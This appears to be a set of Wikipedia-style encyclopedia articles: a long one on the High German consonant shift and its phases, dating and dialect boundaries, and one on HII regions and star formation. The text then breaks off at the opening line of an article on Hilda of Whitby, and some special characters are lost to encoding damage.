          The High German consonant shift altered a number of consonants in the Southern German dialects, and thus also in modern Standard German, Yiddish and Luxemburgish, and so explains why many German words have different consonants from the obviously related words in English and Dutch. Depending on definition, the term may be restricted to a core group of nine individual consonant modifications, or it may include other changes taking place in the same period. For the core group, there are three thrusts which may be thought of as three successive phases:


          
            	The three Germanic voiceless stops became fricatives in certain phonetic environments (English ship maps to German Schiff);


            	The same sounds became affricates in other positions (apple: Apfel); and


            	The three voiced stops became voiceless (door: Tr).

          


          Since phases 1 and 2 affect the same voiceless sounds, some descriptions find it more convenient to treat them together, thus making only a two-fold analysis, voiceless (phase 1/2) and voiced (phase 3). This has advantages for typology, but does not reflect the chronology.


          Of the other changes which sometimes are bracketed within the High German consonant shift, the most important (sometimes thought of as the fourth phase) is:


          
            	4. // (and its allophone []) became /d/ (this: dies).

          


          This phenomenon is known as the "High German" consonant shift because it affects the High German dialects (i.e. those of the mountainous south), principally the Upper German dialects, though in part it also affects the Central German dialects. However the fourth phase also included Low German and Dutch. It is also known as the "second Germanic" consonant shift to distinguish it from the "(first) Germanic consonant shift" as defined by Grimm's law and the refinement of this known as Verner's law.


          The High German consonant shift did not occur in a single movement, but rather, as a series of waves over several centuries. The geographical extent of these waves varies. They all appear in the southernmost dialects, and spread northwards to differing degrees, giving the impression of a series of pulses of varying force emanating from what is now Austria and Switzerland. While some are found only in the southern parts of Alemannic (which includes Swiss German) or Bavarian (which includes Austrian), most are found throughout the Upper German area, and some spread on into the Central German dialects. Indeed, Central German is often defined as the area between the Appel/Apfel and the Dorp/Dorf boundaries. The shift d was more successful; it spread all the way to the North Sea and affected Dutch as well as German. Most, but not all of these changes have become part of modern Standard German.


          The High German consonant shift is a good example of a chain shift, as was its predecessor, the first Germanic consonant shift. For example, phases 1/2 left the language without a /t/ phoneme, as this had shifted to /s/ or /ts/. Phase 3 filled this gap (dt), but left a new gap at /d/, which phase 4 then filled (d).


          


          Overview table


          The effects of the shift are most obvious for the non-specialist when we compare Modern German lexemes containing shifted consonants with their Modern English or Dutch unshifted equivalents. The following overview table is arranged according to the original Proto-Indo-European phonemes. (G= Grimm's law; V= Verner's law) Note that the pairs of words we use to illustrate sound shifts must be cognates; they need not be semantic equivalents. German Zeit means 'time' but it is cognate with tide, and only the latter is relevant here.


          
            
              	PIEGermanic

              	Phase

              	High German Shift

              GermanicOHG

              	Examples (Modern German)

              	Century

              	Geographical Extent1

              	Standard

              German?
            


            
              	G: *b*p

              	1

              	*pff

              	schlafen, Schiff

              cf. sleep, ship

              	4/5

              	Upper and Central German

              	yes
            


            
              	2

              	*ppf

              	Pflug, Apfel, Pfad, Pfuhl, scharf 2

              cf. plough, apple, path, pool, sharp

              	6/7

              	Upper German

              	yes
            


            
              	G: *d*t

              	1

              	*tss

              	essen, dass, aus 3

              cf. eat, that, out

              	4/5

              	Upper and Central German

              	yes
            


            
              	2

              	*tts

              	Zeit4, Zwei4, Zehe

              cf. tide, two, toe

              	5/6

              	Upper German

              	yes
            


            
              	G: *g*k

              	1

              	*khh

              	machen, brechen, ich

              cf. make, break, Dutch ik "I" 5

              	4/5

              	Upper and Central German

              	yes
            


            
              	2

              	*kkch

              	Bavarian: Kchind

              cf. German Kind "child"

              	7/8

              	Southernmost Austro-Bavarian

              and High Alemannic

              	no
            


            
              	G: *bʰ*b

              V: *p*b

              	3

              	*bp

              	Bavarian: perg, pist

              cf. German Berg "hill", bist "(you) are"

              	8/9

              	Parts of Bavarian/Alemanic

              	no
            


            
              	G: *dʰ*đ*d

              V: *t*đ*d

              	3

              	*dt

              	Tag, Mittel, Vater

              cf. day, middle, Dutch vader "father"6

              	8/9

              	Upper German

              	yes
            


            
              	G: *gʰ*g

              V: *k*g

              	3

              	*gk

              	Bavarian: Kot

              cf. German Gott "God"

              	8/9

              	Parts of Bavarian/Alemanic

              	no
            


            
              	G: *t []

              	4

              	d

              d

              	Dorn, Distel, durch, Bruder

              cf. thorn, thistle, through, brother

              	9/10

              	Throughout German and Dutch

              	yes
            

          


          

          (Notes: 1 Approximate, isoglosses may vary. 2 Old High German scarph, Middle High German scharpf. 3 Old High German ezzen, daz, ūz. 4 Note that in modern German <z> is pronounced /ts/. 5 Old English ic, "I". 6 Old English fder, "father"; English has shifted dth in OE words ending in -der).


          


          The core group in detail


          


          Phase 1


          The first phase, which affected the whole of the High German area, has been dated as early as the fourth century, though this is highly debated. The first certain examples of the shift are from Edictus Rothari (a. 643, oldest extant manuscript after 650). According to most scholars, the Pre-Old High German Runic inscriptions of about a. 600 show no convincing trace of the consonant shift. In this phase, voiceless stops became geminated fricatives intervocalically, or single fricatives postvocalically in final position.


          
            	pff or final f


            	tzz (later German ss) or final z (s)


            	khh (later German ch)

          


          Note: In these OHG words, <z> stands for a voiceless fricative that is distinct somehow from <s>. The exact nature of the distinction is unknown; possibly <s> was apical while <z> was laminal.


          Examples:


          
            	Old English slǣpan: Old High German slāfan (English sleep, Dutch slapen, German schlafen)


            	OE strǣt: OHG strāzza (English street, Dutch straat, German Strae)


            	OE rīce: OHG rīhhi (English rich, Dutch rijk, German reich)

          


          Note that the first phase did not affect geminate stops in words like *appul "apple" or *katta "cat", nor did it affect stops after other consonants, as in words like *scarp "sharp" or *hert "heart", where another consonant falls between the vowel and the stop. These remained unshifted until the second phase.


          


          Phase 2


          In the second phase, which was completed by the eighth century, the same sounds became affricates (i.e. a stop followed by a fricative) in three environments: in initial position; when geminated; and after a liquid consonant (/l/ or /r/) or nasal consonant (/m/ or /n/).


          
            	/p/ > /pf/ (also written <ph> in OHG)


            	/t/ > /ts/ (written <z> or <tz>)


            	/k/ > /kx/ (written <kch> in OHG).

          


          Examples:


          
            	OE ppel: OHG aphul (English apple, Dutch appel, German Apfel, Low German Aupel)


            	OE scearp: OHG scarpf (English sharp, Dutch scherp, German scharf, Low German schoap)


            	OE catt: OHG kazza (English cat, Dutch kat, German Katze, Low German Kaut)


            	OE tam: OHG zam (English tame, Dutch tam, German zahm, Low German tom)


            	OE liccian: OHG lecchōn (English to lick, Dutch likken, German lecken, High Alemannic schlecke/schlcke /ʃlɛkxə, ʃlkxə/)


            	OE weorc: OHG werk or werch (English work, Dutch werk, German Werk, High Alemannic Werch/Wrch, Low German Woakj)

          


          The shift did not take place where the stop was preceded by a fricative, i.e. in the combinations /sp, st, sk, ft, ht/. /t/ also remained unshifted in the combination /tr/.


          
            	OE spearwa: OHG sparo (English sparrow, Dutch spreeuw, German Sperling, Low German Spoalinkj)


            	OE mst: OHG mast (English mast, Dutch mast, German Mast[baum])


            	OE niht: OHG naht (English night, Dutch nacht, German Nacht, Low German Nacht)


            	OE trēowe: OHG [ge]triuwi (English true, Dutch (ge) trouw, German treu "faithful", Low German tr)

          


          The subsequent change of /sk/ > /ʃ/, written <sch>, took place in late OHG and is not part of the Sound Shift.


          These affricates (especially pf) have simplified into fricatives in some dialects. /pf/ was subsequently simplified to /f/ in a number of circumstances. In Yiddish and some German dialects this occurred in initial positions, e.g. Dutch paard, German Pferd, Yiddish ferd ('horse'). There was a strong tendency to simplify after /r/ and /l/, e.g. werfen < OHG werpfan, helfen < OHG helpfan, but some forms with /pf/ remain, e.g. Karpfen.


          
            	The shift of /t/ > /ts/ occurs throughout the High German area and is reflected in Modern Standard German.


            	The shift of /p/ > /pf/ occurs throughout Upper German, but there is wide variation in Central German dialects. In the Rhine Franconian dialects, the further north the dialect the fewer environments show shifted consonants. This shift is reflected in the Standard German.


            	The shift of /k/ > /kx/ is geographically highly restricted and only took place is the southernmost Upper German dialects. The Southern Austro-Bavarian dialects of Tyrol is the only dialect where the affricate /kx/ has developed in all positions. In High Alemannic, only the geminate has developed into an affricate, whereas in the other positions, /k/ has become /x/. However, there is initial /kx/ in modern High Alemannic as well, since it is used for any k in loanwords, for instance [kxariˈb̥ikx], and since /kx/ is a possible consonant cluster, for instance in Gchnorz [kxno(ː)rts] 'laborious work', from the verb chnorze.

          


          


          Phase 3


          The third phase, which had the most limited geographical range, saw the voiced stops become voiceless.


          
            	bp


            	dt


            	gk

          


          Of these, only the dental shift dt finds its way into standard German. The others are restricted to High Alemannic German in Switzerland, and south bavarian dialects in Austria. This shift probably began in the 8th or 9th century, after the first and second phases ceased to be productive, otherwise the resulting voiceless stops would have shifted further to fricatives and affricates.


          It is interesting that in those words in which an Indo-European voiceless stop became voiced as a result of Verner's law, phase three of the High German shift returns this to its original value (*t  d  t):


          
            	PIE *māh₂ter-  Germanic *mōder  German Mutter

          


          Examples:


          
            	OE dōn: OHG tuon (English do, Dutch doen, German tun, Low German doonen)


            	OE mōdor: OHG muotar (English mother, Dutch moeder, German Mutter, Low German Mutta)


            	OE rēad: OHG rōt (English red, Dutch rood, German rot, Low German root)


            	OE biddan: OHG bitten or pitten (English bid, Dutch bieden, German bitten, Bavarian pitten, Low German beeden)

          


          It is possible that pizza is an early Italian borrowing of OHG (Bavarian dialect) pizzo, a shifted variant of bizzo (German Bissen, 'bite, snack').


          


          Other changes in detail


          Other consonant changes on the way from West Germanic to Old High German are included under the heading "High German consonant shift" by some scholars who see the term as a description of the whole context, but are exluded by others who use it to describe the neatness of the three-fold chain shift. Although it might be possible to see // /d/, /ɣ/ /g/ and /v/ /b/ as a similar group of three, both the chronology and the differing phonetic conditions under which these changes occur speak against such a grouping.


          [bookmark: .C3.BE.2F.C3.B0.E2.86.92d_.28Phase_4.29]


          /d (Phase 4)


          What is sometimes known as the fourth phase shifted the dental fricatives to /d/. This is distinctive in that it also affects Low German and Dutch. In Germanic, the voiceless and voiced dental fricatives  and  stood in allophonic relationship, with  in initial position and  medially. These merged into a single /d/. This shift occurred late enough that unshifted forms are to be found in the earliest Old High German texts, and thus can be dated to the 9th or 10th century.


          
            	early OHG thaz  classical OHG daz (English that, Dutch dat, German das, Low German daut)


            	early OHG thenken  classical OHG denken (English think, Dutch denken, German denken, Low German dinken)


            	early OHG thegan  classical OHG degan (English thane, Dutch degen, German Degen, "warrior")


            	early OHG thurstag  classical OHG durstac (English thirsty, Dutch dorstig, German durstig, Low German darstijch)


            	early OHG bruother/bruodher  classical OHG bruoder (English brother, Dutch broeder, German Bruder, Low German Brooda)


            	early OHG munth  classical OHG mund (English mouth, Dutch mond, German Mund, Low German Ml)


            	early OHG thou/thu  classical OHG du (English thou, German du, Old Dutch thu, Low German d)

          


          In dialects affected by phase 4 but not by the dental variety of phase 3, that is, Low German, Central German and Dutch, two Germanic phonemes merged:  becomes d, but original Germanic d remains unchanged:


          
            
              	

              	German

              	Dutch

              	English
            


            
              	original // ( /d/ in German and Dutch)

              	Tode

              	dood

              	death
            


            
              	original /d/ ( /t/ in German)

              	Tote

              	dood

              	dead
            

          


          (For the sake of comparison, the German forms are cited here in forms with -e to eliminate the effects of terminal devoicing - see below. The basic forms are Tod and tot - both pronounced /to:t/.) One consequence of this is that there is no dental variety of Grammatischer Wechsel in Middle Dutch.


          In 1955, Otto Hfler, suggested that a change analogous to the fourth phase of the High German consonant shift may have taken place in Gothic (East Germanic) as early as the third century AD, and he hypothesised that it may have spread from Gothic to High German as a result of the Visigothic migrations westward (c. 375500 AD). This has not found wide resonance; the modern consensus is that Hfler misinterpreted some sound substitutions of Romanic languages as Germanic, and that East Germanic shows no sign of the second consonant shift.


          [bookmark: .2F.C9.A3.2F.E2.86.92.2Fg.2F]


          /ɣ//g/


          The West Germanic voiced velar fricative /ɣ/ shifted to /g/ in Old High German in all positions. This change is believed to be an early one, completed at the latest by the 8th century. As the existence of a /g/ in the language was a prerequisite for the south German shift gk, this must at least predate phase 3 of the core group of the High German consonant shift.


          The same change occurred independently in Old English around the 10th century (changing patterns of alliteration suggest this date), but with the important exception that next to a front vowel it had earlier experienced Anglo-Saxon palatisation and become /j/ instead. Dutch has retained the original Germanic /ɣ/, though as Dutch spells this with <g>, the difference between it and the English and German consonant is invisible in the written form.


          
            	Dutch goed (/ɣuːt/): German gut, English good


            	Dutch gisteren (/ɣisterən/): German gestern, English yesterday

          


          [bookmark: .2Fv.2F.E2.86.92.2Fb.2F]


          /v//b/


          West Germanic *ƀ (presumably pronounced [v]), which was an allophone of /f/ used in medial position, shifted to Old High German /b/ between two vowels, and also after /l/.


          
            	OE lufu: OHG liob (English love, Dutch lief, German Liebe, Low German Leew)


            	OE hfen: MHG habe (English haven, Dutch haven. For German Hafen see below)


            	OE half: OHG halb (English half, Dutch half, German halb, Low German haulf)


            	OE lifer: OHG libara (English liver, Dutch lever, German Leber, Low German Lwa)


            	OE self: OHG selbo (English self, Dutch zelf, German selbe, Low German self)


            	OE sealfian: OHG salbon (English salve, Dutch zalf, German Salbe)

          


          In strong verbs such as German heben ('heave') and geben ('give'), the shift contributed to eliminating the /v/ forms in German, but a full account of these verbs is complicated by the effects of grammatischer Wechsel by which [v] and /b/ appear in alternation in different parts of the same verb in the early forms of the languages. In the case of weak verbs such as haben ('have', Dutch hebben) and leben ('live', Dutch leven), the consonant differences have an unrelated origin, being a result of the Germanic spirant law and a subsequent process of levelling.


          [bookmark: .2Fs.2F.E2.86.92.2F.CA.83.2F]


          /s//ʃ/


          High German experienced the shift /sp/, /st/, /sk/  /ʃp/, /ʃt/, /ʃ/ in initial position:


          
            	
              
                	German spinnen (/ʃp/), spin.


                	German Strae (/ʃt/), street.


                	German Schrift, script.

              

            

          


          


          Terminal devoicing


          Other changes include a general tendency towards terminal devoicing in German and Dutch, and to a far more limited extent in English. Thus in German and Dutch, /b/, /d/ and /g/ at the end of a word are pronounced identically to /p/, /t/ and /k/. German Tag (day) is pronounced like English tack, not like English tag.


          Nevertheless, the original voiced consonants are usually represented in modern German and Dutch spelling. This is probably because related inflected forms, such as the plural Tage, have the voiced form, since here the stop is not terminal. As a result of these inflected forms, native speakers remain aware of the underlying voiced phoneme, and spell accordingly. However in Middle High German these sounds were spelled phonetically: singular tac, plural tage.


          


          Chronology


          Since, apart from d, the High German consonant shift took place before the beginning of writing of Old High German in the 9th century, the dating of the various phases is an uncertain business. The estimates quoted here are mostly taken from the dtv-Atlas zur deutschen Sprache (p. 63). Different estimates appear elsewhere, for example Waterman, who asserts that the first three phases occurred fairly close together and were complete in Alemannic territory by 600, taking another two or three centuries to spread north.


          Sometimes historical constellations help us; for example, the fact that Attila is called Etzel in German proves that the second phase must have been productive after the Hunnish invasion of the 5th century. The fact that many Latin loan-words are shifted in German (e.g. Latin strataGerman Strae), while others are not (e.g. Latin poenaGerman Pein) allows us to date the sound changes before or after the likely period of borrowing. However the most useful source of chronological data is German words cited in Latin texts of the late classical and early mediaeval period.


          Precise dating would in any case be difficult since each shift may have begun with one word or a group of words in the speech of one locality, and gradually extended by lexical diffusion to all words with the same phonological pattern, and then over a longer period of time spread to wider geographical areas.


          However, relative chronology for phases 2, 3 and 4 can easily be established by the observation that ttz must precede dt, which in turn must precede d; otherwise words with an original  could have undergone all three shifts and ended up as tz. By contrast, as the form kepan for "give" is attested in Old Bavarian, showing both /ɣ/  /g/  /k/ and /v/  /b/ /p/, it follows that /ɣ/ /g/ and /v/ /b/ must predate phase 3.


          Alternative chronologies have been proposed. According to a not widely accepted theory by the German linguist Theo Vennemann, the consonant shift occurred much earlier and was already completed in the early 1st century BC. On this basis, he subdivides the Germanic languages into High Germanic and Low Germanic.


          


          Geographical distribution


          
            
              	Dialects and isoglosses of the Rheinischer Fcher

              (Arranged from north to south: dialects in dark fields, isoglosses in light fields)
            


            
              	Isogloss

              	North

              	South
            


            
              	Low German/Low Franconian
            


            
              	Uerdingen line ( Uerdingen)

              	ik

              	ich
            


            
              	Dsseldorfer Platt (Limburgisch-Bergisch)
            


            
              	Benrath line

              (Boundary: Low German  Central German)

              	maken

              	machen
            


            
              	Ripuarian ( Klsch, Bnnsch, cher Platt)
            


            
              	Bad Honnef line

              (State border NRW- RP) (Eifel-Schranke)

              	Dorp

              	Dorf
            


            
              	Luxemburgisch
            


            
              	Linz line ( Linz am Rhein)

              	tussen

              	zwischen
            


            
              	Bad Hnningen line

              	op

              	auf
            


            
              	Koblenzer Platt
            


            
              	Boppard line ( Boppard)

              	Korf

              	Korb
            


            
              	Sankt Goar line ( Sankt Goar)

              ( Hunsrck-Schranke)

              	dat

              	das
            


            
              	Rheinfrnkisch (e.g. Pflzisch, Frankfurterisch)
            


            
              	Speyer line (River Main line)

              (Boundary: Central German  Upper German)

              	Appel

              	Apfel
            


            
              	Upper German
            

          


          Roughly, one may say that the changes resulting from phase 1 affected Upper and Central German, those from phase 2 and 3 only Upper German, and those from phase 4 the entire German and Dutch-speaking region. The generally-accepted boundary between Central and Low German, the maken-machen line, is sometimes called the Benrath line, as it passes through the Dsseldorf suburb of Benrath, while the main boundary between Central and Upper German, the Appel-Apfel line can be called the Speyer line, as it passes near the town of Speyer, some 200 kilometers further south.


          However, a precise description of the geographical extent of the changes is far more complex. Not only do the individual sound shifts within a phase vary in their distribution (phase 3, for example, partly affects the whole of Upper German and partly only the southernmost dialects within Upper German), but there are even slight variations from word to word in the distribution of the same consonant shift. For example, the ik-ich line lies further north than the maken-machen line in western Germany, coincides with it in central Germany, and lies further south at its eastern end, although both demonstrate the same shift /k//x/.


          The subdivision of West Central German into a series of dialects according to the differing extent of the phase 1 shifts is particularly pronounced. This is known in German as the Rheinischer Fcher ("Rhenish fan"), because on the map of dialect boundaries the lines form a fan shape. Here, no fewer than eight isoglosses run roughly West to East, partially merging into a simpler system of boundaries in East Central German. The table on the right lists these isoglosses (bold) and the main resulting dialects (italics), arranged from north to south.


          For a map of the boundaries of a number of key sounds, see a general map and the Rheinischer Fcher.


          


          Lombardic


          Some of the consonant shifts resulting from the second and third phases appear also to be observable in Lombardic, the early mediaeval Germanic language of northern Italy, which is preserved in runic fragments of the late 6th and early 7th centuries. Unfortunately, the Lombardic records are not sufficient to allow a complete taxonomy of the language. It is therefore uncertain whether the language experienced the full shift or merely sporadic reflexes, but bp is clearly attested. This may mean that the shift began in Italy, or that it spread southwards as well as northwards. Ernst Schwarz and others have suggested that the shift occurred in German as a result of contacts with Lombardic. If in fact there is a relationship here, the evidence of Lombardic would force us to conclude that the third phase must have begun by the late 6th century, rather earlier than most estimates, but this would not necessarily require that it had spread to German so early.


          If, as some scholars believe, Lombardic was an East Germanic language and not part of the German language dialect continuum, it is possible that parallel shifts took place independently in German and Lombardic. However the extant words in Lombardic show clear relations to Bavarian. Therefore Werner Betz and others prefer to treat Lombardic as an Old High German dialect. There were close connections between Lombards and Proto-Bavarians: the Lombards settled until 568 in 'Tullner Feld' (about 50 km west of Vienna); some Lombard graves (excavated a few years ago when a new railway line was built) date after 568; evidently not all Lombards went to Italy in 568. The rest seem to have become part of the then newly formed Bavarian groups.


          When Columban came to the Alamanni at Lake Constance shortly after 600, he made barrels burst, called cupa (English cup, German Kufe), according to Jonas of Bobbio (before 650) in Lombardy. This shows that in the time of Columban the shift from p to f had occurred neither in Alemannic nor in Lombardic. But Edictus Rothari (643; extant manuscript after 650; see above) attests the forms grapworf ('throwing a corpse out of the grave', German Wurf and Grab), marhworf ('a horse', OHG marh, 'throws the rider off'), and many similar shifted examples. So it is best to see the consonant shift as a common Lombardic  Bavarian  Alemannic shift between 620 and 640, when these tribes had plenty of contact.


          Unshifted forms in Standard German


          The High German consonant shift  at least as far as the core group of changes is concerned  is an example of a sound change which permits no exceptions, and was frequently cited as such by the Neogrammarians. However, modern standard German, though based on Central German, draws vocabulary from all German dialects. When a native German word (as opposed to a loan word) contains consonants unaffected by the shift, they are usually explained as being Low German forms. Either the shifted form has fallen out of use, as in:


          
            	Hafen ('harbour', 'haven'); Middle High German had the shifted form habe(n), but the Low German form replaced it in modern times.

          


          or the two forms remain side-by-side, as in:


          
            	Wappen ('coat of arms'); the shifted form also exists, but with a different meaning: Waffen ('weapons')

          


          Further examples of common German words in this category include:


          
            	Lippe ('lip'); Pegel ('water level'); Pickel ('pimple')

          


          However, the vast majority of words in Modern German containing consonant patterns which would have been eliminated by the shift are loaned from Latin or Romance languages, English or Slavic:


          
            	Paar ('few'), Ratte ('rat'), Peitsche ('whip').

          


          
            Retrieved from " http://en.wikipedia.org/wiki/High_German_consonant_shift"
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            [image: NGC 604, a giant H�II region in the Triangulum Galaxy.]

            
              NGC 604, a giant HII region in the Triangulum Galaxy.
            

          


          An HII region (also known as emission nebula) is a cloud of glowing gas and plasma, sometimes several hundred light-years across, in which star formation is taking place. Young, hot, blue stars which have formed from the gas emit copious amounts of ultraviolet light, ionising the nebula surrounding them.


          HII regions may give birth to thousands of stars over a period of several million years. In the end, supernova explosions and strong stellar winds from the most massive stars in the resulting star cluster will disperse the gases of the HII region, leaving behind a cluster such as the Pleiades.


          HII regions are named for the large amount of ionised atomic hydrogen they contain, referred to as HII by astronomers ( HI region being neutral atomic hydrogen, and H2 being molecular hydrogen). HII regions can be seen out to considerable distances in the universe, and the study of extragalactic HII regions is important in determining the distance and chemical composition of other galaxies.


          


          Observations


          
            [image: Dark star-forming regions within the Eagle Nebula.]

            
              Dark star-forming regions within the Eagle Nebula.
            

          


          A few of the brightest HII regions are visible to the naked eye. However, none seem to have been noticed before the advent of the telescope in the early 17th century. Even Galileo did not notice the Orion Nebula when he first observed the star cluster within it (previously catalogued as a single star,  Orionis, by Johann Bayer). French observer Nicolas-Claude Fabri de Peiresc is credited with the discovery of the Orion Nebula in 1610. Since that early observation large numbers of HII regions have been discovered in our galaxy and others.


          William Herschel observed the Orion Nebula in 1774, and described it as "an unformed fiery mist, the chaotic material of future suns". Confirmation of this hypothesis had to wait another hundred years, when William Huggins (assisted by his wife Mary Huggins) turned his spectroscope on various nebulae. Some, such as the Andromeda Nebula, had spectra quite similar to those of stars, and turned out to be galaxies consisting of hundreds of millions of individual stars. Others looked very different. Rather than a strong continuum with absorption lines superimposed, the Orion Nebula and other similar objects showed only a small number of emission lines. The brightest of these was at a wavelength of 500.7 nanometres, which did not correspond with a line of any known chemical element. At first it was hypothesised that the line might be due to an unknown element, which was named Nebulium  a similar idea had led to the discovery of helium through analysis of the Sun's spectrum in 1868.


          However, while helium was isolated on earth soon after its discovery in the spectrum of the sun, Nebulium was not. In the early 20th century, Henry Norris Russell proposed that rather than being a new element, the line at 500.7nm was due to a familiar element in unfamiliar conditions.


          Physicists showed in the 1920s that in gas at extremely low densities, electrons can populate excited metastable energy levels in atoms and ions which at higher densities are rapidly de-excited by collisions. Electron transitions from these levels in doubly ionized oxygen give rise to the 500.7nm line. These spectral lines, which can only be seen in very low density gases, are called forbidden lines. Spectroscopic observations thus showed that nebulae were made of extremely rarefied gas.


          During the 20th century, observations showed that HII regions often contained hot, bright stars. These stars are many times more massive than the Sun, and are the shortest-lived stars, with total lifetimes of only a few million years (compared to stars like the Sun, which live for several billion years). Therefore it was surmised that HII regions must be regions in which new stars were forming. Over a period of several million years, a cluster of stars will form out of an HII region, before radiation pressure from the hot young stars resulting causes the nebula to disperse. The Pleiades are an example of a cluster which has 'boiled away' the HII region from which it formed. Only a trace of reflection nebulosity remains.


          


          Origin and lifetime


          
            [image: A small portion of the Tarantula Nebula, a giant H�II region in the Large Magellanic Cloud.]

            
              A small portion of the Tarantula Nebula, a giant HII region in the Large Magellanic Cloud.
            

          


          The precursor to an HII region is a giant molecular cloud (GMC). A GMC is a very cool (1020 K) and dense cloud consisting mostly of molecular hydrogen. GMCs can exist in a stable state for long periods of time, but shock waves due to supernovae, collisions between clouds, and magnetic interactions can all trigger the collapse of part of the cloud. When this happens, via a process of collapse and fragmentation of the cloud, stars are born (see stellar evolution for a lengthier description).


          As stars are born within a GMC, the most massive will reach temperatures hot enough to ionise the surrounding gas. Soon after the formation of an ionising radiation field, energetic photons create an ionisation front, which sweeps through the surrounding gas at supersonic speeds. At greater and greater distances from the ionising star, the ionisation front slows, while the pressure of the newly ionised gas causes the ionised volume to expand. Eventually, the ionisation front slows to subsonic speeds, and is overtaken by the shock front caused by the expansion of the nebula. The HII region has been born.


          The lifetime of an HII region is of the order of a few million years. Radiation pressure from the hot young stars will eventually drive most of the gas away. In fact, the whole process tends to be very inefficient, with less than 10 per cent of the gas in the HII region forming into stars before the rest is blown away. Also contributing to the loss of gas are the supernova explosions of the most massive stars, which will occur after only 12 million years.


          


          Stellar nurseries


          
            [image: Bok globules in H�II region IC 2944.]

            
              Bok globules in HII region IC 2944.
            

          


          The actual birth of stars within HII regions is hidden from us by the dense clouds of gas and dust which surround the nascent stars. It is only when the radiation pressure from a star drives away its 'cocoon' that it becomes visible. Before then, the dense regions which contain the new stars are often seen in silhouette against the rest of the ionised nebula  these dark patches are known as Bok globules, after astronomer Bart Bok, who proposed in the 1940s that they might be stellar birthplaces.


          Confirmation of Bok's hypothesis had to wait until 1990, when infrared observations finally penetrated the thick dust of Bok globules to reveal young stellar objects within. It is now thought that a typical Bok globule contains about 10 solar masses of material in a region about a light-year or so across, and that Bok globules most commonly result in the formation of double or multiple star systems.


          As well as being the birth place of stars, HII regions also show evidence for containing planetary systems. The Hubble Space Telescope has revealed hundreds of protoplanetary disks ( proplyds) in the Orion Nebula. At least half the young stars in the Orion Nebula appear to be surrounded by disks of gas and dust, thought to contain many times as much matter as would be needed to create a planetary system like our own.


          


          Characteristics


          


          Physical characteristics


          HII regions vary greatly in their physical properties. They range in size from so-called ultra-compact regions perhaps only a light-year or less across, to giant HII regions several hundred light-years across. Their size is also known as the Stromgren radius and essentially depends on the intensity of the source of ionizing photons and the density of the region. Their densities range from over a million particles per cm in the ultra-compact HII regions to only a few particles per cm in the largest and most extended regions. This implies total masses between perhaps 10 and 105 solar masses.


          Depending on the size of an HII region there may be anything up to several thousand stars within it. This makes HII regions much more complicated to understand than planetary nebulae, which have only one central ionising source. Typically, though, HII regions are at temperatures of the order of 10,000K. They are mostly ionised, and the ionised gas (plasma) can contain magnetic fields with strengths of several tens of microgauss (several nanoteslas). Magnetic fields are produced by moving electric charges in the plasma, and some observations have suggested that H II regions also contain electric fields.


          Chemically, HII regions consist of about 90% hydrogen. The strongest hydrogen emission line at 656.3nm gives HII regions their characteristic red colour. Most of the rest of an HII region consists of helium, with trace amounts of heavier elements. Across the galaxy, it is found that the amount of heavy elements in HII regions decreases with increasing distance from the galactic centre. This is because over the lifetime of the galaxy, star formation rates have been greater in the denser central regions, resulting in greater enrichment of the interstellar medium with the products of nucleosynthesis.


          


          Numbers and distribution


          
            [image: Strings of red H�II regions delineate the arms of the Whirlpool Galaxy.]

            
              Strings of red HII regions delineate the arms of the Whirlpool Galaxy.
            

          


          HII regions are found only in spiral galaxies like our own and irregular galaxies. They are never seen in elliptical galaxies. In irregular galaxies, they may be found throughout the galaxy, but in spirals they are almost invariably found with the spiral arms. A large spiral galaxy may contain thousands of HII regions.


          The reason HII regions are not seen in elliptical galaxies is that ellipticals are believed to form through galaxy mergers. In galaxy clusters, such mergers are frequent. When galaxies collide, individual stars almost never collide, but the GMCs and HII regions in the colliding galaxies are severely agitated. Under these conditions, enormous bursts of star formation are triggered, so rapid that most of the gas is converted into stars rather than the normal 10 per cent or less. Galaxies undergoing such rapid star formation are known as starburst galaxies. The post-merger elliptical galaxy has a very low gas content, and so HII regions can no longer form. 21st century observations have shown that a very small number of HII regions exist outside galaxies altogether. These intergalactic HII regions are likely to be the remnants of tidal disruptions of small galaxies.


          


          Morphology


          HII regions come in an enormous variety of sizes. Each star within an HII region ionises a roughly spherical region - known as a Strmgren sphere - of the gas surrounding it, but the combination of ionisation spheres of multiple stars within an HII region and the expansion of the heated nebula into surrounding gases with sharp density gradients results in complex shapes. Supernova explosions may also sculpt HII regions. In some cases, the formation of a large star cluster within an HII region results in the region being hollowed out from within. This is the case for NGC 604, a giant HII region in the Triangulum Galaxy.


          


          Notable HII regions


          Notable Galactic HII regions include the Orion Nebula, the Eta Carinae Nebula, and the Berkeley 59 / Cepheus OB4 Complex. The Orion nebula, which lies at a distance of about 1,500light-years is part of a GMC which, if it were visible, would fill most of the constellation of Orion. The Horsehead Nebula and Barnard's Loop are two other illuminated parts of this cloud of gas.


          The Large Magellanic Cloud, a satellite galaxy of the Milky Way, contains a giant HII region called the Tarantula Nebula. This nebula is much bigger than the Orion Nebula, and is forming thousands of stars, some with masses of over 100 times that of the sun. If the Tarantula Nebula was as close to Earth as the Orion Nebula, it would shine about as brightly as the full moon in the night sky. The supernova SN 1987A occurred in the outskirts of the Tarantula Nebula.


          NGC 604 is even larger than the Tarantula nebula at about 1,300light-years across, although it contains slightly fewer stars. It is one of the largest HII regions in the Local Group.


          


          Current issues in studies of HII regions


          
            [image: Optical images reveal clouds of gas and dust in the Orion Nebula; an infrared image (right) reveals the new stars shining within.]

            
              Optical images reveal clouds of gas and dust in the Orion Nebula; an infrared image (right) reveals the new stars shining within.
            

          


          As with planetary nebulae, determinations of the abundance of elements in HII regions are subject to some uncertainty. There are two different ways of determining the abundance of metals (that is, elements other than hydrogen and helium) in nebulae, which rely on different types of spectral lines, and large discrepancies are sometimes seen between the results derived from the two methods. Some astronomers put this down to the presence of small temperature fluctuations within HII regions; others claim that the discrepancies are too large to be explained by temperature effects, and hypothesise the existence of cold knots containing very little hydrogen to explain the observations.


          The full details of massive star formation within HII regions are not yet well known. Two major problems hamper research in this area. First, the distance from Earth to large HII regions is considerable, with the nearest HII region being over 1,000 light-years away; other HII regions are several times that distance away from Earth. Secondly, the formation of these stars is deeply obscured by dust, and visible light observations are impossible. Radio and infrared light can penetrate the dust, but the youngest stars may not emit much light at these wavelengths.
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          Hilda of Whitby ( circa 614680) is a Christian Saint.


          Early life


